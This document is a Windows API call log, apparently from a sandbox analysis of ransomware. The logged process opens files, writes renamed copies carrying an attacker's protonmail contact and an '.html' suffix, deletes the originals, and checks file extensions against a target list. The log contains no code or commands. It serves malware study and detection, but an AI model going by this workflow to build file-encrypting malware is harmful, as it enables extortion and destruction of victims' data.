	[0060.603] ReadFile (in: hFile=0x2c8, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0060.606] WriteFile (in: hFile=0x2d0, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0060.607] ReadFile (in: hFile=0x2c8, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.607] WriteFile (in: hFile=0x2d0, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.607] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.607] CloseHandle (hObject=0x2d0) returned 1
	[0060.608] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.608] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.609] CloseHandle (hObject=0x2c8) returned 1
	[0060.609] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.609] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1
	[0060.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.610] lstrlenW (lpString=".doc") returned 4
	[0060.610] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.610] lstrlenW (lpString=".docx") returned 5
	[0060.610] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.610] lstrlenW (lpString=".pdf") returned 4
	[0060.610] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.610] lstrlenW (lpString=".xls") returned 4
	[0060.610] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.610] lstrlenW (lpString=".xlsx") returned 5
	[0060.610] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.610] lstrlenW (lpString=".ppt") returned 4
	[0060.610] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.610] lstrlenW (lpString=".zip") returned 4
	[0060.610] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.610] lstrlenW (lpString=".rar") returned 4
	[0060.610] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.610] lstrlenW (lpString=".bz2") returned 4
	[0060.610] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.610] lstrlenW (lpString=".7z") returned 3
	[0060.610] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.610] lstrlenW (lpString=".dbf") returned 4
	[0060.610] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString=".1cd") returned 4
	[0060.611] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString=".jpg") returned 4
	[0060.611] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString=".doc") returned 4
	[0060.611] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString=".docx") returned 5
	[0060.611] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.611] lstrlenW (lpString=".pdf") returned 4
	[0060.611] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString=".xls") returned 4
	[0060.611] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.611] lstrlenW (lpString=".xlsx") returned 5
	[0060.611] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.611] lstrlenW (lpString=".ppt") returned 4
	[0060.611] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString=".zip") returned 4
	[0060.611] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.611] lstrlenW (lpString=".rar") returned 4
	[0060.611] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString=".bz2") returned 4
	[0060.611] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.611] lstrlenW (lpString=".7z") returned 3
	[0060.611] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.611] lstrlenW (lpString=".dbf") returned 4
	[0060.612] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.612] lstrlenW (lpString=".1cd") returned 4
	[0060.612] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0060.612] lstrlenW (lpString=".jpg") returned 4
	[0060.612] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.612] Sleep (dwMilliseconds=0x64) 
	[0060.978] Sleep (dwMilliseconds=0x64) 
	[0061.339] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.339] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.527] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=77022) returned 1
	[0062.527] CloseHandle (hObject=0x350) returned 1
	[0062.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0062.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.528] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.528] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.528] GetLastError () returned 0x0
	[0062.528] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x12cde, lpOverlapped=0x0) returned 1
	[0062.531] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x12ce0, lpOverlapped=0x0) returned 1
	[0062.534] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.534] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.534] SetEndOfFile (hFile=0x358) returned 1
	[0062.534] CloseHandle (hObject=0x358) returned 1
	[0062.536] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.536] SetEndOfFile (hFile=0x350) returned 1
	[0062.537] CloseHandle (hObject=0x350) returned 1
	[0062.538] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.538] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1
	[0062.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.538] lstrlenW (lpString=".doc") returned 4
	[0062.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.538] lstrlenW (lpString=".docx") returned 5
	[0062.538] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.538] lstrlenW (lpString=".pdf") returned 4
	[0062.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.538] lstrlenW (lpString=".xls") returned 4
	[0062.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.538] lstrlenW (lpString=".xlsx") returned 5
	[0062.539] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.539] lstrlenW (lpString=".ppt") returned 4
	[0062.539] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString=".zip") returned 4
	[0062.539] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.539] lstrlenW (lpString=".rar") returned 4
	[0062.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString=".bz2") returned 4
	[0062.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString=".7z") returned 3
	[0062.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString=".dbf") returned 4
	[0062.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString=".1cd") returned 4
	[0062.539] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString=".jpg") returned 4
	[0062.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.539] lstrlenW (lpString=".doc") returned 4
	[0062.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString=".docx") returned 5
	[0062.539] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.539] lstrlenW (lpString=".pdf") returned 4
	[0062.539] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString=".xls") returned 4
	[0062.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.539] lstrlenW (lpString=".xlsx") returned 5
	[0062.540] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.540] lstrlenW (lpString=".ppt") returned 4
	[0062.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.540] lstrlenW (lpString=".zip") returned 4
	[0062.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.540] lstrlenW (lpString=".rar") returned 4
	[0062.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.540] lstrlenW (lpString=".bz2") returned 4
	[0062.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.540] lstrlenW (lpString=".7z") returned 3
	[0062.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.540] lstrlenW (lpString=".dbf") returned 4
	[0062.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.540] lstrlenW (lpString=".1cd") returned 4
	[0062.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0062.540] lstrlenW (lpString=".jpg") returned 4
	[0062.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.541] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0062.541] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.541] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=81482) returned 1
	[0062.541] CloseHandle (hObject=0x350) returned 1
	[0062.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0062.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.543] GetLastError () returned 0x0
	[0062.543] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x13e4a, lpOverlapped=0x0) returned 1
	[0062.546] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13e50, lpOverlapped=0x0) returned 1
	[0062.548] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.548] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0062.548] SetEndOfFile (hFile=0x358) returned 1
	[0062.548] CloseHandle (hObject=0x358) returned 1
	[0062.551] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.551] SetEndOfFile (hFile=0x350) returned 1
	[0062.552] CloseHandle (hObject=0x350) returned 1
	[0062.552] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.553] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1
	[0062.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.553] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.553] lstrlenW (lpString=".doc") returned 4
	[0062.553] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.553] lstrlenW (lpString=".docx") returned 5
	[0062.554] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.554] lstrlenW (lpString=".pdf") returned 4
	[0062.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString=".xls") returned 4
	[0062.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString=".xlsx") returned 5
	[0062.554] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.554] lstrlenW (lpString=".ppt") returned 4
	[0062.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString=".zip") returned 4
	[0062.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.554] lstrlenW (lpString=".rar") returned 4
	[0062.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString=".bz2") returned 4
	[0062.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString=".7z") returned 3
	[0062.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString=".dbf") returned 4
	[0062.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString=".1cd") returned 4
	[0062.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString=".jpg") returned 4
	[0062.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.554] lstrlenW (lpString=".doc") returned 4
	[0062.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0062.554] lstrlenW (lpString=".docx") returned 5
	[0062.555] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0062.555] lstrlenW (lpString=".pdf") returned 4
	[0062.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString=".xls") returned 4
	[0062.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString=".xlsx") returned 5
	[0062.555] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0062.555] lstrlenW (lpString=".ppt") returned 4
	[0062.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.555] lstrlenW (lpString=".zip") returned 4
	[0062.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0062.555] lstrlenW (lpString=".rar") returned 4
	[0062.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString=".bz2") returned 4
	[0062.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString=".7z") returned 3
	[0062.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0062.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.555] lstrlenW (lpString=".dbf") returned 4
	[0062.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.555] lstrlenW (lpString=".1cd") returned 4
	[0062.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0062.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0062.555] lstrlenW (lpString=".jpg") returned 4
	[0062.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0062.555] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0062.555] lstrlenW (lpString="eula.rtf") returned 8
	[0062.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.556] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3865) returned 1
	[0062.556] CloseHandle (hObject=0x350) returned 1
	[0062.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0062.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0062.556] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.556] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.556] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0062.557] GetLastError () returned 0x0
	[0062.557] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xf19, lpOverlapped=0x0) returned 1
	[0062.558] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0062.559] ReadFile (in: hFile=0x350, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.559] WriteFile (in: hFile=0x358, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.559] SetEndOfFile (hFile=0x358) returned 1
	[0062.559] CloseHandle (hObject=0x358) returned 1
	[0062.560] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.560] SetEndOfFile (hFile=0x350) returned 1
	[0062.561] CloseHandle (hObject=0x350) returned 1
	[0062.561] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0062.561] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1
	[0062.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35
	[0062.562] lstrlenW (lpString=".doc") returned 4
	[0062.562] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.562] lstrlenW (lpString=".docx") returned 5
	[0062.562] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.562] lstrlenW (lpString=".pdf") returned 4
	[0062.562] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.562] lstrlenW (lpString=".xls") returned 4
